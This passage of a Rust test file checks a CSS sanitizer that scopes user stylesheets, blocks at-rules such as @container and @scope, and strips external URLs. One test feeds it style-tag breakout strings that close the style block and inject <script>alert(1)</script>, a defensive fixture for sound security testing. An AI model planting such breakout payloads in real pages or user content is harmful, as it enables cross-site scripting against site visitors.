for bad in ["^*{", "^body{", "^html{"] { |
| 831 |
let lead = bad.trim_start_matches('^'); |
| 832 |
assert!( |
| 833 |
!out.starts_with(lead), |
| 834 |
"leads with unscoped `{lead}`: {out}" |
| 835 |
); |
| 836 |
} |
| 837 |
assert!(out.contains(".user-canvas#uc-"), "scope missing: {out}"); |
| 838 |
} |
| 839 |
} |
| 840 |
|
| 841 |
#[test] |
| 842 |
fn media_wrapped_escape_is_scoped() { |
| 843 |
let out = scoped("@media screen { body { background: red } }"); |
| 844 |
assert!(out.contains(".user-canvas#uc-11111111-1111-1111-1111-111111111111 body")); |
| 845 |
} |
| 846 |
|
| 847 |
#[test] |
| 848 |
fn style_tag_breakout_via_content_string_is_neutralized() { |
| 849 |
|
| 850 |
|
| 851 |
|
| 852 |
|
| 853 |
|
| 854 |
for css in [ |
| 855 |
r#".x { content: "</style><script>alert(1)</script>" }"#, |
| 856 |
r".x::before { content: '</STYLE><SCRIPT>alert(1)</SCRIPT>' }", |
| 857 |
r#".x { content: "\3c /style\3e <script>" }"#, |
| 858 |
|
| 859 |
r#".x { background: url("</style><script>x</script>") }"#, |
| 860 |
] { |
| 861 |
let out = scoped(css); |
| 862 |
let lower = out.to_lowercase(); |
| 863 |
assert!( |
| 864 |
!lower.contains("</style>"), |
| 865 |
"literal </style> escaped the block for input `{css}`: {out}" |
| 866 |
); |
| 867 |
assert!( |
| 868 |
!lower.contains("<script>"), |
| 869 |
"literal <script> escaped the block for input `{css}`: {out}" |
| 870 |
); |
| 871 |
} |
| 872 |
} |
| 873 |
|
| 874 |
|
| 875 |
|
| 876 |
|
| 877 |
|
| 878 |
|
| 879 |
|
| 880 |
|
| 881 |
|
| 882 |
|
| 883 |
fn assert_blocked_at_rule(css: &str, marker: &str) { |
| 884 |
let (out, rej) = san(css); |
| 885 |
assert!( |
| 886 |
!out.to_lowercase().contains(marker), |
| 887 |
"blocked at-rule `{marker}` leaked into output: {out}" |
| 888 |
); |
| 889 |
assert!( |
| 890 |
rej.iter().any(|r| r.kind == RejectionKind::BlockedAtRule), |
| 891 |
"no BlockedAtRule rejection recorded for `{marker}`" |
| 892 |
); |
| 893 |
|
| 894 |
assert!(out.contains("color"), "sibling style rule was lost: {out}"); |
| 895 |
} |
| 896 |
|
| 897 |
#[test] |
| 898 |
fn rejects_container() { |
| 899 |
assert_blocked_at_rule( |
| 900 |
"@container (min-width: 100px) { p { background: red } } p { color: red }", |
| 901 |
"@container", |
| 902 |
); |
| 903 |
} |
| 904 |
|
| 905 |
#[test] |
| 906 |
fn rejects_scope() { |
| 907 |
assert_blocked_at_rule( |
| 908 |
"@scope (.a) { p { background: red } } p { color: red }", |
| 909 |
"@scope", |
| 910 |
); |
| 911 |
} |
| 912 |
|
| 913 |
#[test] |
| 914 |
fn rejects_starting_style() { |
| 915 |
assert_blocked_at_rule( |
| 916 |
"@starting-style { p { background: red } } p { color: red }", |
| 917 |
"@starting-style", |
| 918 |
); |
| 919 |
} |
| 920 |
|
| 921 |
#[test] |
| 922 |
fn rejects_view_transition() { |
| 923 |
assert_blocked_at_rule( |
| 924 |
"@view-transition { navigation: auto } p { color: red }", |
| 925 |
"@view-transition", |
| 926 |
); |
| 927 |
} |
| 928 |
} |
| 929 |
|
| 930 |
#[cfg(test)] |
| 931 |
mod proptests { |
| 932 |
use super::*; |
| 933 |
use proptest::prelude::*; |
| 934 |
|
| 935 |
const SCOPE: &str = "22222222-2222-2222-2222-222222222222"; |
| 936 |
|
| 937 |
fn policy() -> UrlPolicy { |
| 938 |
UrlPolicy::new( |
| 939 |
"https://u.makenot.work/a/p", |
| 940 |
[ |
| 941 |
"makenot.work".to_string(), |
| 942 |
"u.makenot.work".to_string(), |
| 943 |
"cdn.makenot.work".to_string(), |
| 944 |
], |
| 945 |
) |
| 946 |
.unwrap() |
| 947 |
} |
| 948 |
|
| 949 |
proptest! { |
| 950 |
|
| 951 |
|
| 952 |
#[test] |
| 953 |
fn never_panics_output_reparses(input in "\\PC{0,400}") { |
| 954 |
let (out, _rej) = sanitize_css(&input, SCOPE, &policy()); |
| 955 |
prop_assert!(StyleSheet::parse(&out, parser_options()).is_ok(), "invalid output: {out}"); |
| 956 |
} |
| 957 |
|
| 958 |
|
| 959 |
#[test] |
| 960 |
fn external_url_always_stripped(host in "[a-z]{3,10}", tld in "(com|net|io|xyz)", path in "[a-z0-9]{1,10}") { |
| 961 |
let domain = format!("{host}.{tld}"); |
| 962 |
let css = format!(".x {{ background: url(https://{domain}/{path}) }}"); |
| 963 |
let out = sanitize_css(&css, SCOPE, &policy()).0; |
| 964 |
let leaked = out.contains(&domain); |
| 965 |
prop_assert!(!leaked, "leaked host: {}", out); |
| 966 |
} |
| 967 |
|
| 968 |
|
| 969 |
|
| 970 |
#[test] |
| 971 |
fn always_scoped_and_guarded(sel in "[a-z][a-z0-9]{0,8}", prop in "(color|background-color|margin)") { |
| 972 |
let css = format!("{sel} {{ {prop}: inherit }}"); |
| 973 |
let out = sanitize_css(&css, SCOPE, &policy()).0; |
| 974 |
let scope_tag = format!("uc-{SCOPE}"); |
| 975 |
let has_scope = out.contains(&scope_tag); |
| 976 |
let has_guard = out.contains("prefers-reduced-motion"); |
| 977 |
prop_assert!(has_scope, "missing scope: {}", out); |
| 978 |
prop_assert!(has_guard, "missing guard: {}", out); |
| 979 |
} |
| 980 |
} |
| 981 |
} |
| 982 |
|